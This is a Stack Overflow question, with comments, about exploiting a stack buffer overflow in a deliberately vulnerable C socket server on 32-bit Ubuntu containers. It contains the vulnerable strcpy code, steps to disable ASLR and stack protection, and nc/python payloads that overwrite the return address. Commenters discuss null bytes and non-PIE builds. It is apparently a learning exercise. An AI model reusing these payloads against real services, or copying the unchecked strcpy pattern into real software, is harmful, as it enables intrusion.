1

I'm trying to execute the Buffer overflow Issue on secretCaller.

I'm able to execute it properly on i686/ubuntu but not in the i386/ubuntu Need the pointer here

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>
int sockfd, newsockfd, portno;
int copyInput(char *str)
{
    char buffer[1024];
    strcpy(buffer, str);
}
void error(const char *msg)
{
    perror(msg);
    exit(1);
}
int sendMSG()
{
    char flag[100];
    int n;
    strcpy(flag, "#YES I REACH HERE#");
    n = write(newsockfd, flag, strlen(flag));
    if (n < 0) error("ERROR writing to socket");
}
void secretCaller()
{
    sendMSG();
}
int main(int argc, char *argv[])
{
    socklen_t clilen;
    char buffer[4096], reply[5100];
    struct sockaddr_in serv_addr, cli_addr;
    int n;
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) 
        error("ERROR opening socket");
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int)) < 0)
        error("setsockopt(SO_REUSEADDR) failed");
    bzero((char *) &serv_addr, sizeof(serv_addr));
    portno = 1337;
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(portno);
    if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) 
        error("ERROR on binding");
    listen(sockfd,5);
    clilen = sizeof(cli_addr);
    newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
    if (newsockfd < 0)
        error("ERROR on accept");
    printf("function addr is = %p\n",sendMSG);
    
    while (1)
    {
        n = write(newsockfd,"Type in a message!\n",58);
        bzero(buffer,4096);
        n = read(newsockfd,buffer,4095);
        if (n < 0) error("ERROR reading from socket");
        // CALL A FUNCTION WITH A BUFFER OVERFLOW VULNERABILITY
        copyInput(buffer);
        printf("Message received: %s\n",buffer);
        strcpy(reply, "I got this message: ");
        strcat(reply, buffer);
        n = write(newsockfd, reply, strlen(reply));
        if (n < 0) error("ERROR writing to socket");
    }
    
    close(newsockfd);
    close(sockfd);
    return 0; 
}

Here is the sample run from i686/ubuntu machine which is executed successfully

The setup

docker run  -cap-add=ALL -u root -it --privileged i686/ubuntu:latest sh 
sysctl -w kernel.randomize_va_space=0
apt-get update
apt-get install build-essential gdb telnet vim netcat

Disable the ASLR

'echo 0 > /proc/sys/kernel/randomize_va_space'

Compile the program

gcc test.c  -o test -fno-stack-protector
root@2239a8bbabdb:# file test
test: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=018ab87a92d9db2366ae2f097f5f1f07e8d08351, not stripped
ro

Grab the address of the sendFunction

root@2239a8bbabdb:# readelf -s test | grep -i send
    48: 0804871a   108 FUNC    GLOBAL DEFAULT   13 sendMSG

Convert this to little endian

>>> struct.pack('<I',0x804871a)
'\x1a\x87\x04\x08'

start the program

root@2239a8bbabdb:# ./test

Send the payload

root@e5849909bd09:/# echo -e $(python -c "print 'A'*1036 + '\x1a\x87\x04\x08'")  | nc 172.17.0.6  1337
Type in a message!
ERROR reading from socketMessage rece#YES I REACH HERE

On the server

root@2239a8bbabdb:# ./test
function addr is = 0x804871a
Segmentation fault

As you can see the YES I REACH HERE is being executed via BufferOverflow Issue

Now when I move my setup to i386/ubuntu it doesn't execute that function via BufferOverflow

Setup

docker run --cap-add=ALL -u root -it --privileged i386/ubuntu:latest sh 

Here is the gist of it

root@a1c696e586bc:/opt# gcc test.c  -o test2 -fno-stack-protector
root@a1c696e586bc:/opt# file test2
test2: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=913ae4ff92b82a34dadb7b8854b6224de65f93da, not stripped
root@a1c696e586bc:/opt# readelf -s test2  | grep -i  send
    46: 00000838   133 FUNC    GLOBAL DEFAULT   14 sendMSG

Convert to little endian

>>> struct.pack('<I',0x00000838)
'8\x08\x00\x00'
>>>

start the program

root@a1c696e586bc:/opt# ./test2
root@e5849909bd09:/# echo -e $(python -c "print 'A'*1027 + '8\x08\x00\x00'")  | nc 172.17.0.7  1337
Type in a message!
ERROR reading from socketMessage recebash: warning: command substitution: ignored null byte in input
root@e5

On the server

root@a1c696e586bc:/opt# ./test2
function addr is = 0x56555838
Segmentation fault
root@a1c696e586bc:/opt#

Based on the Peter Comment

Recompiled the code

gcc test.c  -o test2 -fno-stack-protector -fno-pie -no-pie
root@a1c696e586bc:/opt# readelf -s test2  | grep -i  send
    47: 08048725   113 FUNC    GLOBAL DEFAULT   14 sendMSG

function address is

function addr is = 0x8048725

Converted to little endian

>>> struct.pack('<I',0x8048725)
'%\x87\x04\x08'
root@e5849909bd09:/# echo -e $(python -c "print 'A'*1033 + '%\x87\x04\x08'")  | nc 172.17.0.7  1337
Type in a message!
ERROR reading from socketMessage rece

The secretCaller is not jumped anythign missing here

anish
  • 6,884
  • 13
  • 74
  • 140
  • 1
    Here it says: *warning: command substitution: ignored null byte in input*. The null characters were stripped by shell. If they were accepted, anyway the technique of abusing `strcpy` will only work if the data does not contain embedded zeros. And `00000838` doesn't look like an address where the object will be actually loaded, and it does contain zeros. – Alex Guteniev Dec 14 '21 at 19:18
  • Thanks @S.M. Can you help me to get the secretCaller in i386. I will take your suggestion in real code – anish Dec 14 '21 at 19:19
  • Hi @AlexGuteniev I have no clue what to do next. This address is not controlled by me? – anish Dec 14 '21 at 19:29
  • The function address is 0x56555838 >>> struct.pack(' – anish Dec 14 '21 at 19:34
  • It's usually easier to use `gcc -fno-pie -no-pie` so addresses are link-time constants and show up in disassembly / `readelf` / `nm`, rather than just offsets from the image base. Although disabling ASLR would also disable stack ASLR, in case you need that. (Although making a non-PIE executable would mean that function addresses actually do contain a `00` byte, so your payload would have to find gadgets that modify what you inject? I guess a non-randomized PIE is actually the easiest case because addresses don't have any zero bytes.) – Peter Cordes Dec 15 '21 at 03:48
  • Also, what's the point of `echo -e $(python ...)`? Surely you could just pipe the python output directly, with a newline as part of the python print statement. And BTW, you can disable ASLR for a single process instead of system-wide with `setarch -R`, as described in [How can I temporarily disable ASLR (Address space layout randomization)?](https://askubuntu.com/a/507954) / [Disable randomization of memory addresses](https://stackoverflow.com/q/5194666) – Peter Cordes Dec 15 '21 at 03:48
  • Hi @PeterCordes I have followed your instruction and got the address but unable to perform BufferOverflow – anish Dec 15 '21 at 04:33

0 Answers0